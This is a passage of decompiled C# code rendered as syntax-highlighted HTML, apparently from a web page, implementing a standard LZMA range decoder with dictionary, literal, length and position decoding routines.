class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000013 RID: 19 RVA: 0x00009374 File Offset: 0x00007574</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">SetDictionarySize</span>(<span class="params"><span class="built_in">uint</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_DictionarySize != A_1)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_DictionarySize = A_1;</span><br><span class="line"><span class="keyword">this</span>.m_DictionarySizeCheck = Math.Max(<span class="keyword">this</span>.m_DictionarySize, <span class="number">1U</span>);</span><br><span class="line"><span class="built_in">uint</span> num = Math.Max(<span class="keyword">this</span>.m_DictionarySizeCheck, <span class="number">4096U</span>);</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.Create(num);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000014 RID: 20 RVA: 0x000088E4 File Offset: 0x00006AE4</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">SetLiteralProperties</span>(<span class="params"><span class="built_in">int</span> A_1, <span class="built_in">int</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_LiteralDecoder.Create(A_1, A_2);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000015 RID: 21 RVA: 0x000093C0 File Offset: 0x000075C0</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">SetPosBitsProperties</span>(<span class="params"><span class="built_in">int</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span> &lt;&lt; A_1;</span><br><span class="line"><span class="keyword">this</span>.m_LenDecoder.Create(num);</span><br><span class="line"><span class="keyword">this</span>.m_RepLenDecoder.Create(num);</span><br><span class="line"><span class="keyword">this</span>.m_PosStateMask = num - <span class="number">1U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000016 RID: 22 RVA: 0x000093F8 File Offset: 0x000075F8</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">Init</span>(<span class="params">Stream A_1, Stream A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_RangeDecoder.Init(A_1);</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.Init(A_2, <span class="keyword">this</span>._solid);</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num = <span class="number">0U</span>; num &lt; <span class="number">12U</span>; num += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num2 = <span class="number">0U</span>; num2 &lt;= <span class="keyword">this</span>.m_PosStateMask; num2 += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num3 = (num &lt;&lt; <span class="number">4</span>) + num2;</span><br><span class="line"><span class="keyword">this</span>.m_IsMatchDecoders[(<span class="built_in">int</span>)((UIntPtr)num3)].Init();</span><br><span class="line"><span class="keyword">this</span>.m_IsRep0LongDecoders[(<span class="built_in">int</span>)((UIntPtr)num3)].Init();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_IsRepDecoders[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line"><span class="keyword">this</span>.m_IsRepG0Decoders[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line"><span class="keyword">this</span>.m_IsRepG1Decoders[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line"><span class="keyword">this</span>.m_IsRepG2Decoders[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_LiteralDecoder.Init();</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num = <span class="number">0U</span>; num &lt; <span class="number">4U</span>; num += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_PosSlotDecoder[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num = <span class="number">0U</span>; num &lt; <span class="number">114U</span>; num += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_PosDecoders[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_LenDecoder.Init();</span><br><span class="line"><span class="keyword">this</span>.m_RepLenDecoder.Init();</span><br><span class="line"><span class="keyword">this</span>.m_PosAlignDecoder.Init();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000017 RID: 23 RVA: 0x00009524 File Offset: 0x00007724</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Code</span>(<span class="params">Stream A_1, Stream A_2, <span class="built_in">long</span> A_3, <span class="built_in">long</span> A_4</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Init(A_1, A_2);</span><br><span class="line">&lt;Module&gt;.State state = <span class="literal">default</span>(&lt;Module&gt;.State);</span><br><span class="line">state.Init();</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">0U</span>;</span><br><span class="line"><span class="built_in">uint</span> num2 = <span class="number">0U</span>;</span><br><span class="line"><span class="built_in">uint</span> num3 = <span class="number">0U</span>;</span><br><span class="line"><span class="built_in">uint</span> num4 = <span class="number">0U</span>;</span><br><span class="line"><span class="built_in">ulong</span> num5 = <span class="number">0U</span>L;</span><br><span class="line"><span class="keyword">if</span> (num5 &lt; (<span class="built_in">ulong</span>)A_4)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_IsMatchDecoders[(<span class="built_in">int</span>)((UIntPtr)(state.Index &lt;&lt; <span class="number">4</span>))].Decode(<span class="keyword">this</span>.m_RangeDecoder);</span><br><span class="line">state.UpdateChar();</span><br><span class="line"><span class="built_in">byte</span> b = <span class="keyword">this</span>.m_LiteralDecoder.DecodeNormal(<span class="keyword">this</span>.m_RangeDecoder, <span class="number">0U</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.PutByte(b);</span><br><span class="line">num5 += <span class="number">1U</span>L;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> (num5 &lt; (<span class="built_in">ulong</span>)A_4)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num6 = (<span class="built_in">uint</span>)num5 &amp; <span class="keyword">this</span>.m_PosStateMask;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsMatchDecoders[(<span class="built_in">int</span>)((UIntPtr)((state.Index &lt;&lt; <span class="number">4</span>) + num6))].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">byte</span> @byte = <span class="keyword">this</span>.m_OutWindow.GetByte(<span class="number">0U</span>);</span><br><span class="line"><span class="built_in">byte</span> b2;</span><br><span class="line"><span class="keyword">if</span> (!state.IsCharState())</span><br><span class="line">&#123;</span><br><span class="line">b2 = <span class="keyword">this</span>.m_LiteralDecoder.DecodeWithMatchByte(<span class="keyword">this</span>.m_RangeDecoder, (<span class="built_in">uint</span>)num5, @byte, <span class="keyword">this</span>.m_OutWindow.GetByte(num));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">b2 = <span class="keyword">this</span>.m_LiteralDecoder.DecodeNormal(<span class="keyword">this</span>.m_RangeDecoder, (<span class="built_in">uint</span>)num5, @byte);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.PutByte(b2);</span><br><span class="line">state.UpdateChar();</span><br><span class="line">num5 += <span class="number">1U</span>L;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num8;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsRepDecoders[(<span class="built_in">int</span>)((UIntPtr)state.Index)].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsRepG0Decoders[(<span class="built_in">int</span>)((UIntPtr)state.Index)].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsRep0LongDecoders[(<span class="built_in">int</span>)((UIntPtr)((state.Index &lt;&lt; <span class="number">4</span>) + num6))].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line">state.UpdateShortRep();</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.PutByte(<span class="keyword">this</span>.m_OutWindow.GetByte(num));</span><br><span class="line">num5 += <span class="number">1U</span>L;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num7;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsRepG1Decoders[(<span class="built_in">int</span>)((UIntPtr)state.Index)].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num7 = num2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_IsRepG2Decoders[(<span class="built_in">int</span>)((UIntPtr)state.Index)].Decode(<span class="keyword">this</span>.m_RangeDecoder) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num7 = num3;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">num7 = num4;</span><br><span class="line">num4 = num3;</span><br><span class="line">&#125;</span><br><span class="line">num3 = num2;</span><br><span class="line">&#125;</span><br><span class="line">num2 = num;</span><br><span class="line">num = num7;</span><br><span class="line">&#125;</span><br><span class="line">num8 = <span class="keyword">this</span>.m_RepLenDecoder.Decode(<span class="keyword">this</span>.m_RangeDecoder, num6) + <span class="number">2U</span>;</span><br><span class="line">state.UpdateRep();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">num4 = num3;</span><br><span class="line">num3 = num2;</span><br><span class="line">num2 = num;</span><br><span class="line">num8 = <span class="number">2U</span> + <span class="keyword">this</span>.m_LenDecoder.Decode(<span class="keyword">this</span>.m_RangeDecoder, num6);</span><br><span class="line">state.UpdateMatch();</span><br><span class="line"><span class="built_in">uint</span> num9 = <span class="keyword">this</span>.m_PosSlotDecoder[(<span class="built_in">int</span>)((UIntPtr)&lt;Module&gt;.LzmaDecoder.GetLenToPosState(num8))].Decode(<span class="keyword">this</span>.m_RangeDecoder);</span><br><span class="line"><span class="keyword">if</span> (num9 &gt;= <span class="number">4U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">int</span> num10 = (<span class="built_in">int</span>)((num9 &gt;&gt; <span class="number">1</span>) - <span class="number">1U</span>);</span><br><span class="line">num = (<span class="number">2U</span> | (num9 &amp; <span class="number">1U</span>)) &lt;&lt; num10;</span><br><span class="line"><span class="keyword">if</span> (num9 &lt; <span class="number">14U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num += &lt;Module&gt;.BitTreeDecoder.ReverseDecode(<span class="keyword">this</span>.m_PosDecoders, num - num9 - <span class="number">1U</span>, <span class="keyword">this</span>.m_RangeDecoder, num10);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">num += <span class="keyword">this</span>.m_RangeDecoder.DecodeDirectBits(num10 - <span class="number">4</span>) &lt;&lt; <span class="number">4</span>;</span><br><span class="line">num += <span class="keyword">this</span>.m_PosAlignDecoder.ReverseDecode(<span class="keyword">this</span>.m_RangeDecoder);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">num = num9;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (((<span class="built_in">ulong</span>)num &gt;= num5 || num &gt;= <span class="keyword">this</span>.m_DictionarySizeCheck) &amp;&amp; num == <span class="number">4294967295U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.CopyBlock(num, num8);</span><br><span class="line">num5 += (<span class="built_in">ulong</span>)num8;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.Flush();</span><br><span class="line"><span class="keyword">this</span>.m_OutWindow.ReleaseStream();</span><br><span class="line"><span class="keyword">this</span>.m_RangeDecoder.ReleaseStream();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000018 RID: 24 RVA: 0x00009874 File Offset: 0x00007A74</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">SetDecoderProperties</span>(<span class="params"><span class="built_in">byte</span>[] A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">int</span> num = (<span class="built_in">int</span>)(A_1[<span class="number">0</span>] % <span class="number">9</span>);</span><br><span class="line"><span class="built_in">int</span> num2 = (<span class="built_in">int</span>)(A_1[<span class="number">0</span>] / <span class="number">9</span>);</span><br><span class="line"><span class="built_in">int</span> num3 = num2 % <span class="number">5</span>;</span><br><span class="line"><span class="built_in">int</span> posBitsProperties = num2 / <span class="number">5</span>;</span><br><span class="line"><span class="built_in">uint</span> num4 = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">4</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">num4 += (<span class="built_in">uint</span>)((<span class="built_in">uint</span>)A_1[<span class="number">1</span> + i] &lt;&lt; i * <span class="number">8</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.SetDictionarySize(num4);</span><br><span class="line"><span class="keyword">this</span>.SetLiteralProperties(num3, num);</span><br><span class="line"><span class="keyword">this</span>.SetPosBitsProperties(posBitsProperties);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000019 RID: 25 RVA: 0x000088F3 File Offset: 0x00006AF3</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="built_in">uint</span> <span class="title">GetLenToPosState</span>(<span class="params"><span class="built_in">uint</span> A_0</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">A_0 -= <span class="number">2U</span>;</span><br><span class="line"><span class="keyword">if</span> (A_0 &lt; <span class="number">4U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> A_0;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">3U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000009 RID: 9</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsMatchDecoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">192</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000A RID: 10</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsRep0LongDecoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">192</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000B RID: 11</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsRepDecoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">12</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000C RID: 12</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsRepG0Decoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">12</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000D RID: 13</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsRepG1Decoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">12</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000E RID: 14</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_IsRepG2Decoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">12</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400000F RID: 15</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.LzmaDecoder.LenDecoder m_LenDecoder = <span class="keyword">new</span> &lt;Module&gt;.LzmaDecoder.LenDecoder();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000010 RID: 16</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.LzmaDecoder.LiteralDecoder m_LiteralDecoder = <span class="keyword">new</span> &lt;Module&gt;.LzmaDecoder.LiteralDecoder();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000011 RID: 17</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.OutWindow m_OutWindow = <span class="keyword">new</span> &lt;Module&gt;.OutWindow();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000012 RID: 18</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] m_PosDecoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">114</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000013 RID: 19</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitTreeDecoder[] m_PosSlotDecoder = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder[<span class="number">4</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000014 RID: 20</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.Decoder m_RangeDecoder = <span class="keyword">new</span> &lt;Module&gt;.Decoder();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000015 RID: 21</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.LzmaDecoder.LenDecoder m_RepLenDecoder = <span class="keyword">new</span> &lt;Module&gt;.LzmaDecoder.LenDecoder();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000016 RID: 22</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">bool</span> _solid;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000017 RID: 23</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> m_DictionarySize;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000018 RID: 24</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> m_DictionarySizeCheck;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000019 RID: 25</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.BitTreeDecoder m_PosAlignDecoder = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001A RID: 26</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> m_PosStateMask;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000007 RID: 7</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">class</span> <span class="title">LenDecoder</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x0600001A RID: 26 RVA: 0x000098D4 File Offset: 0x00007AD4</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Create</span>(<span class="params"><span class="built_in">uint</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num = <span class="keyword">this</span>.m_NumPosStates; num &lt; A_1; num += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_LowCoder[(<span class="built_in">int</span>)((UIntPtr)num)] = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder(<span class="number">3</span>);</span><br><span class="line"><span class="keyword">this</span>.m_MidCoder[(<span class="built_in">int</span>)((UIntPtr)num)] = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder(<span class="number">3</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_NumPosStates = A_1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600001B RID: 27 RVA: 0x0000992C File Offset: 0x00007B2C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_Choice.Init();</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num = <span class="number">0U</span>; num &lt; <span class="keyword">this</span>.m_NumPosStates; num += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_LowCoder[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line"><span class="keyword">this</span>.m_MidCoder[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_Choice2.Init();</span><br><span class="line"><span class="keyword">this</span>.m_HighCoder.Init();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600001C RID: 28 RVA: 0x00009990 File Offset: 0x00007B90</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">uint</span> <span class="title">Decode</span>(<span class="params">&lt;Module&gt;.Decoder A_1, <span class="built_in">uint</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_Choice.Decode(A_1) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>.m_LowCoder[(<span class="built_in">int</span>)((UIntPtr)A_2)].Decode(A_1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">8U</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_Choice2.Decode(A_1) == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num += <span class="keyword">this</span>.m_MidCoder[(<span class="built_in">int</span>)((UIntPtr)A_2)].Decode(A_1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">num += <span class="number">8U</span>;</span><br><span class="line">num += <span class="keyword">this</span>.m_HighCoder.Decode(A_1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> num;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600001D RID: 29 RVA: 0x000099FC File Offset: 0x00007BFC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">LenDecoder</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001B RID: 27</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitTreeDecoder[] m_LowCoder = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder[<span class="number">16</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001C RID: 28</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitTreeDecoder[] m_MidCoder = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder[<span class="number">16</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001D RID: 29</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.BitDecoder m_Choice = <span class="literal">default</span>(&lt;Module&gt;.BitDecoder);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001E RID: 30</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.BitDecoder m_Choice2 = <span class="literal">default</span>(&lt;Module&gt;.BitDecoder);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400001F RID: 31</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.BitTreeDecoder m_HighCoder = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder(<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000020 RID: 32</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> m_NumPosStates;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000008 RID: 8</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">class</span> <span class="title">LiteralDecoder</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x0600001E RID: 30 RVA: 0x00009A50 File Offset: 0x00007C50</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Create</span>(<span class="params"><span class="built_in">int</span> A_1, <span class="built_in">int</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.m_Coders != <span class="literal">null</span> &amp;&amp; <span class="keyword">this</span>.m_NumPrevBits == A_2 &amp;&amp; <span class="keyword">this</span>.m_NumPosBits == A_1)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.m_NumPosBits = A_1;</span><br><span class="line"><span class="keyword">this</span>.m_PosMask = (<span class="number">1U</span> &lt;&lt; A_1) - <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">this</span>.m_NumPrevBits = A_2;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span> &lt;&lt; <span class="keyword">this</span>.m_NumPrevBits + <span class="keyword">this</span>.m_NumPosBits;</span><br><span class="line"><span class="keyword">this</span>.m_Coders = <span class="keyword">new</span> &lt;Module&gt;.LzmaDecoder.LiteralDecoder.Decoder2[num];</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num2 = <span class="number">0U</span>; num2 &lt; num; num2 += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_Coders[(<span class="built_in">int</span>)((UIntPtr)num2)].Create();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600001F RID: 31 RVA: 0x00009AD4 File Offset: 0x00007CD4</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span> &lt;&lt; <span class="keyword">this</span>.m_NumPrevBits + <span class="keyword">this</span>.m_NumPosBits;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">uint</span> num2 = <span class="number">0U</span>; num2 &lt; num; num2 += <span class="number">1U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_Coders[(<span class="built_in">int</span>)((UIntPtr)num2)].Init();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000020 RID: 32 RVA: 0x00008901 File Offset: 0x00006B01</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="built_in">uint</span> <span class="title">GetState</span>(<span class="params"><span class="built_in">uint</span> A_1, <span class="built_in">byte</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> ((A_1 &amp; <span class="keyword">this</span>.m_PosMask) &lt;&lt; <span class="keyword">this</span>.m_NumPrevBits) + (<span class="built_in">uint</span>)(A_2 &gt;&gt; <span class="number">8</span> - <span class="keyword">this</span>.m_NumPrevBits);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000021 RID: 33 RVA: 0x00008923 File Offset: 0x00006B23</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span 